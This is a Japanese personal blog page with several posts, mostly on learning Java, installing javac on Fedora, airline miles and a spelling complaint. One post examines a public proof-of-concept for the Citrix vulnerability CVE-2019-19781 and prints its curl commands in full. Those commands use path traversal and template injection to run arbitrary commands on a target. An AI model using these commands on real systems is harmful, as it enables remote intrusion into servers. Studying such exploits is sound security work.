min117の日記

初期desireもち。趣味Mac,メインFedora,仕事xp。

独習Java第4版 多次元配列

配列ってあんま好きじゃない。

f:id:min117:20200118122417p:plain

 

わざわざ配列なんてしなくても、要素になる数字を1行に並べてtxtに書いて(セパレータ決めて)forループ回せばアクセスできるんじゃないの?

 

メモリに持ったほうが速いから?個人で作るサービスにそんなスペックいる?

 

「無駄に複雑で分かりにくくしてるのが配列。だから使わない」が個人的なスタンス。

 

けど Javaだと配列は多用するらしい(ほんとか?)。

f:id:min117:20200118120443p:plain

今回はちゃんとやっておく。

 

気になったのは、配列変数は配列のインスタンスを参照しているらしいこと。

f:id:min117:20200118120540j:plain

ここは気にしておく。

 

 

 

多次元配列も出てきた。こんな分かりにくいもの使うかなぁと思うけど、せっかくやったので自分用メモ。

 

$ vim p41_UnevenTwoDimensionArrayInitializer.java 

f:id:min117:20200118120950p:plain

 

10行目から13行目がキモ。他の言語(例えばpython)でもこんな配列作れるのか?は今度また調べる。

f:id:min117:20200118120910p:plain

f:id:min117:20200118121228p:plain

 

コンパイルする。

$ javac p41_UnevenTwoDimensionArrayInitializer.java 

f:id:min117:20200118121413p:plain

 

実行。

java p41_UnevenTwoDimensionArrayInitializer

f:id:min117:20200118121311p:plain

うーん、配列やっぱ利用用途が思い浮かばない。

 

例えば

 タテ:クレジットカード名

 横 :月ごとの利用金額(要素12個)

みたいな使い方にすればクレカの利用料の計算プログラムとか作れるのかもしれないけど。

 

その場合も、利用金額はファイルにもっておいてfor文でアクセスしてcatで表示できれば足りるよなぁ。

 

もう少し調べてみる。

 

 

独習Java第4版 int i = 258 のあと b = (byte)i としたら bは何を表示するか → 答えは 2(32bit符号付き整数の下位8bitだから)

Java楽しい。

f:id:min117:20200115074809j:plain

この本は「独習」と言いながら全く初心者向けではなく、とても不親切な説明なんだけど、別の言語を触ってプログラムに書き慣れてから見直すと著者の言わんとしていること説明したい順番が分かって楽しい。

 

例えばこのページ。
f:id:min117:20200118091215j:plain

下位8ビットだけが変数bに代入されます」なんていきなり出てきて理解できる独習者なんてそういないと思う

 

意味ワカランので、まずは本のとおり書いて動かしてみる。

やれることからやる。手を動かす。コレ大事。

 

$ vim NarrowingConversion.java

f:id:min117:20200118091815p:plain

f:id:min117:20200118092003p:plain

 

javac NarrowingConversion.java

$ java NarrowingConversion

f:id:min117:20200118092113p:plain

たしかに2が出る。なんでだ。

 

 

 

答えはここにあった。

f:id:min117:20200118092541p:plain

Javaint32ビット符号付き整数

 

そこで、このソースの7行目にある

f:id:min117:20200118092003p:plain

10進数の258」を32ビット符号付き整数にしてみる。このサイトを使う。

note.cman.jp

 

「10進数」「符号付き」「32bit」の258は、2進数にすると

f:id:min117:20200118092923p:plain

0000 0000 0000 0000 0000 0001 0000 0010

となる。

 

これの下位の8ビットだけ b = (byte)i; によって変数bに代入されるわけだから

f:id:min117:20200118093351p:plain

 

0000 0000 0000 0000 0000 0001 0000 0010

2進数の「0000 0010」だけが変数bに入る。

 

10進数に直すと「2」

f:id:min117:20200118093827p:plain

なるほど。2となるわけだ。

f:id:min117:20200118092113p:plain

 

ちなみになぜ8ビットだけなのか?それは(Javaでは)byteは8ビット符号付き整数だから

f:id:min117:20200118094216p:plain

 

「変数と代入」なんて

f:id:min117:20200118094004p:plain

どの言語でも同じだろうと読み飛ばしていたけど、実は32ビット符号付き整数すら正確に理解していなかったわけだ。反省。

 

Java面白い。独習本で基本的なところからやり直すのも。最高に面白い。

 

追記)この計算サイトほんと便利だな。10進数から2進数への変換とか、とても丁寧で分かりやすい。

f:id:min117:20200118095541p:plain

 

 

 

bash のfor文を使ってJavaのファイル名とクラス名を一発で書く

Java楽しい。

f:id:min117:20200115074809j:plain

ただただ書き写してコンパイル通った瞬間が病みつきになる。コンパイル言語すき。気持ち良い。

 

f:id:min117:20200117000527j:plain

 

ところで、Javaソースファイル名public宣言したクラス名を同じにしないとエラーになる。

 

例えば、ソースファイル名をCASPER.javaにしたとしよう。

f:id:min117:20200117000558p:plain

 

ところがpublic宣言したクラス名をMELCHIORしてしまったなら

f:id:min117:20200117001641p:plain

 

コンパイル時にエラーになる。

f:id:min117:20200117001813p:plain

 

これを直すには、ファイル名をMELCHIOR.javaするか、もしくはクラス名のほうをCASPERで宣言しないといけない。どっちでもいいけど間違えやすいしダルい

 

せっかくbashを使ってるのでワンライナーラクする。

 

例えばBALTHASAR.javaという長い名前のソースファイルの中で同じくBALTHASAR というクラスを書くことを考えると、タイプミスをしないためには

$ for i in BALTHASAR; do echo "$i"; echo "$i" >> "$i".java; done

f:id:min117:20200117002458p:plain

としちゃう。

 

あとは vim で開けば

f:id:min117:20200117002605p:plain

 

BALTHASARが居るから

f:id:min117:20200117002648p:plain

 

頭にclassを謳ってあげればOK。

f:id:min117:20200117002756p:plain

vim最高。

 

Eclipseなりの統合環境を覚えるのって最後の最後でよくて、とにかく素でソース書いてったほうが覚えるような気がするんだけど。人それぞれか。

 

せっかくなんで完成されたソースにして

f:id:min117:20200117003125p:plain

 

コンパイルして

f:id:min117:20200117003218p:plain

 

実行

f:id:min117:20200117003248p:plain

println() なんで末尾に改行コードが入るのね。

print()だと入らない。

 

Java楽しい。しばらく書き殴る。



 

 

 

 

緊急対応レベルのCitrix製品の脆弱性 CVE-2019-19781 の検証コードを動かしてみる

仕事の基盤で思いっきり使っているCitrixに脆弱性があったようだ。界隈で話題になり始めている。

piyolog.hatenadiary.jp

 

脆弱性があるとこうなるっぽい。要はリモートから cat /etc/passwd されてしまうということだ。こわ。

f:id:min117:20200115233952p:plain

 

projectzeroindea なるサイトが検証スクリプト.shをアップしてる。

github.com

さっそく使ってみる。うちにも昔使ったCitrix環境があったはずだからこれで試す。

http://min117.hatenablog.com/entry/2017/05/05/161409

 

検証ファイルをダウンロードし

f:id:min117:20200115234109p:plain

解凍する。

f:id:min117:20200115234210p:plain

 

含まれるファイルは3つ。うち1つはPNG画像。

f:id:min117:20200115234447p:plain

README.mdは無視して、CVE-2019-19781.sh を覗いてみる。

 

$ cat CVE-2019-19781.sh

f:id:min117:20200115234649p:plain

なるほど。curl脆弱性のあるスクリプトnewbm.plを叩いてるだけ。

 

実行してみようと思ったが、以前に作ったXenServerは既に消えてしまっていた。やむないのでテスト用に置いてあるRaspberryPi3に対して試してみる。

 

$ bash CVE-2019-19781.sh 192.168.3.41 'cat /etc/passwd

f:id:min117:20200116000825p:plain

Connection Refusedと出た。まあ当たり前か。今回の脆弱性はCitrixサーバのものであって、piは関係ないからね。

 

しかしこの検証スクリプト、かなりbashの勉強になる。

 

冒頭、引数$1がなかったら echoでメッセージを出す。-ne してるところがニクい。

if [ -z "$1" ];

then

echo -ne 'Usage : bash CVE-2019-19781.sh IP_OF_VULNURABLE_HOST COMMAND_TO_EXECUTE\n'

exit;

fi

 

次はランダムファイルから文字を拾ってファイル名にしてるのか。foldコマンド知らなかった。

filenameid=$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 32 | head -n 1);

https://www.atmarkit.co.jp/ait/articles/1712/07/news013.html

f:id:min117:20200116001613p:plain

 

curlnewbm.plを叩いている。

curl -s -k "https://$1/vpn/../vpns/portal/scripts/newbm.pl" -d "url=http://example.com\&title=[%25+template.new({'BLOCK'%3d'exec(\'$2 | tee /netscaler/portal/templates/$filenameid.xml\')%3b'})+%25]\&desc=test\&UI_inuse=RfWeb" -H "NSC_USER: /../../../../../../../../../../netscaler/portal/templates/$filenameid" -H 'NSC_NONCE: test1337' -H 'Content-type: application/x-www-form-urlencoded' --path-as-is

echo -ne "\n" ;curl -m 3 -k "https://$1/vpn/../vpns/portal/$filenameid.xml" -s -H "NSC_NONCE: pwnpzi1337" -H "NSC_USER: pwnpzi1337" --path-as-is

echo -ne "Command Output :\n"

curl -m 3 -k "https://$1/vpn/../vpns/portal/$filenameid.xml" -H "NSC_NONCE: pwnpzi1337" -H "NSC_USER: pwnpzi1337" --path-as-is

 

--path-as-isについてはいずれ調べる。

 

template.new({'BLOCK'%3d'exec(\'$2 | tee /netscaler/portal/templates/$filenameid.xml\') が読み解けない。すぐには分からない。すごい技術。いずれゆっくり調べる。

 

やっぱ悪いことを考えるやつは(行動は最悪だけど)達成に向けた動機というかパワーが凄い。おかしな言い方だが成功に貪欲だ。良いとこだけもらうことにする。

 

Pythonの検証コードもあった。

github.com

f:id:min117:20200116005351p:plain

 

$ cat citrixmash.py

f:id:min117:20200116005917p:plain

こりゃ極悪そうだ。

 

$ python3 cve-2019-19781_scanner.py

f:id:min117:20200116005432p:plain

エラーになった。モジュール netaddr が必要らしい。

netaddr.readthedocs.io

 

$ pip install netaddr

f:id:min117:20200116005608p:plain

インストール成功。

 

再度実行。

$ python3 cve-2019-19781_scanner.py

f:id:min117:20200116005637p:plain

検証したいが、やはりサーバがない。VMware-FusionのインストールしなおしてCitrix復活させるところからやらなきゃか。また今度にしよう。

 

github.com

www.curlap.com

 

 

 

 

格安航空券の海外サイトBudjetAirで乗ったANA航空券のマイルを登録する → 成功

毎回の移動で格安航空券の海外サイトが大活躍している。GOTOGATEかBudjetAirが御用達。

http://192.168.3.11:5000/cdK2/20200113面会交流ALL/写真%202020-01-11%2017%2058%2029%20(1).jpg

min117.hatenablog.com

 

min117.hatenablog.com

 

海外の人間海外のサイトから予約したのと同じだから、日本国内のオモテナシサービスでしかないANAのマイルは登録できないだろうと踏んでいたが。

 

しかし、モノは試し。マイル登録手続きをしてみると

f:id:min117:20200115081446p:plain

f:id:min117:20200115081454p:plain

バッチリ登録できるじゃないか。

f:id:min117:20200115081544p:plain

この航空券は「20%還元」をやっていたANAソラチカカードを使って買ったはず。

min117.hatenablog.com

ということは、このマイル登録と合わせて(?)「ANAを使った」ことになるから、この航空券の値段の20%も還元対象になるはず。

 

還元は3月だったはず。しばらく待ってみる。

 

 

 

 

fedora30 javacをインストールする

fedora30では(29から?)javacはデフォルトではインストールされていないらしい。本腰でjavaいじりたくなってきたのでインストールする。

 

このへん参照。

palepoli.skr.jp

良記事。シェバンが使えるとは。

f:id:min117:20200115073339p:plain

$ sudo dnf install java-11-openjdk-devel

f:id:min117:20200115073505p:plain

f:id:min117:20200115073549p:plain

f:id:min117:20200115073727p:plain

インストール完了。

 

コンパイルしてみる。ソースはこれ。「独習Java 第4版」の最初のサンプルコード。

$ cat Example1.java

f:id:min117:20200115073947p:plain

 

$ javac Example1.java

$ java Example1

f:id:min117:20200115073903p:plain

javacで「拡張子.javaなソース」をコンパイルして、

javaで(拡張子なしで←.classはつけずに)実行するらしい。

 

http://blog.hatena.ne.jp/min117/min117.hatenablog.com/edit?entry=26006613485475942

 

ちなみに「独習Java」はブックオフで200円で買えた。ラッキー。中古万歳。

f:id:min117:20200115074809j:plain

いろいろ独学だったから、細かい抜け落ち知識を(こういう良本で)隙間なく埋めておく。

 

 

 

 

少し「づつ」と間違わず、少し「ずつ」と正しく表記する学力

学力の高い某県へ出張。

 

この時期は雪に覆われて大変みたい。いったん着陸態勢に入ったのに、直前で再度上昇。「いったんしまわれた車輪が再度格納される」という貴重な映像が撮れて新年から嬉しい。

 

到着空港にて。迎えの方が操作した駐車券の精算機がこれ。

f:id:min117:20200113112752p:plain
少し「ずつ」と正しい表記になっている。最近はこれを、少し「づつ」と誤記するのを行く先々で目にして気になっていた。さすがは教育県といったところか。

 

都心のほうだと、コンビニや駐車場のみならず、駅や空港や役所ですら誤記しているのを目にする。間違っても「何が悪い」と居直る世の中だから、この表記にも「最近はこっちが正しい」なんて言い張るのかもしれないが、間違っているものは間違っている。この「づつ」に違和感を感じない人や、他にも例えば送り仮名が違う人、文字が汚い人とは、仕事をするときには距離をおいて気をつけるようにしている。

 

たかが文字。されど文字。言葉を伝える道具だから、正しくないときには何かあると思っておくと、トラブったときの備えになる。